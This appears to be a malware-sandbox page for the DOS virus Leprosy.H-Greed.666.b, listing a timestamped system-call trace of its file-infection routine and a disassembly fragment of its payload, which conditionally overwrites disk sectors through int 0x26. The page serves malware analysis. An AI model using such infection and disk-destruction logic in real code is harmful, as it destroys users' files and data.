Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.H-Greed.666.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:53:26.471284951Z 25 PC: 12a75 | Get default drive
2018-12-17T22:53:26.473492298Z 14 PC: 12a7c | Set default drive (Drive = 'A')
2018-12-17T22:53:26.477219852Z 71 PC: 12a86 | Get current directory
2018-12-17T22:53:26.479130233Z 78 PC: 12a8d | Find first file
2018-12-17T22:53:26.483476145Z 67 PC: 12aa0 | Get or set file attributes
2018-12-17T22:53:26.487509219Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T22:53:26.500693172Z 61 PC: 12ab0 | Open file (Filename = 'TEST.EXE')
2018-12-17T22:53:26.507253853Z 87 PC: 12ab8 | Get or set file date and time
2018-12-17T22:53:26.509166248Z 64 PC: 12a53 | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:53:26.516783713Z 87 PC: 12aca | Get or set file date and time
2018-12-17T22:53:26.51778041Z 62 PC: 12ace | Close file
2018-12-17T22:53:26.52640146Z 67 PC: 12ad7 | Get or set file attributes
2018-12-17T22:53:26.532340475Z 79 PC: 12a96 | Find next file
2018-12-17T22:53:26.533823737Z 59 PC: 12ae2 | Change current directory
2018-12-17T22:53:26.53692602Z 44 PC: 12ae8 | Get time 0x12ae8: cmp dl, 0x32
0x12aeb: ja 0x12b0f
0x12aed: jmp 0x12af0
0x12aef: nop
0x12af0: mov ah, 9
0x12af2: mov dx, 0x307
0x12af5: int 0x21
0x12af7: mov ah, 0x2c
0x12af9: int 0x21
0x12afb: cmp dl, 0xa
0x12afe: ja 0x12b0f
0x12b00: jmp 0x12b03
0x12b02: nop
0x12b03: cli
0x12b04: mov ah, 0
0x12b06: cdq
0x12b07: mov cx, 0x100
0x12b0a: int 0x26
0x12b0c: jmp 0x12b0f
0x12b0e: nop
2018-12-17T22:53:26.538278264Z 14 PC: 12b14 | Set default drive (Drive = 'A')
2018-12-17T22:53:26.539227706Z 59 PC: 12b1c | Change current directory
2018-12-17T22:53:26.541083948Z 76 PC: 12b20 | Terminate with return code (Return code = '3')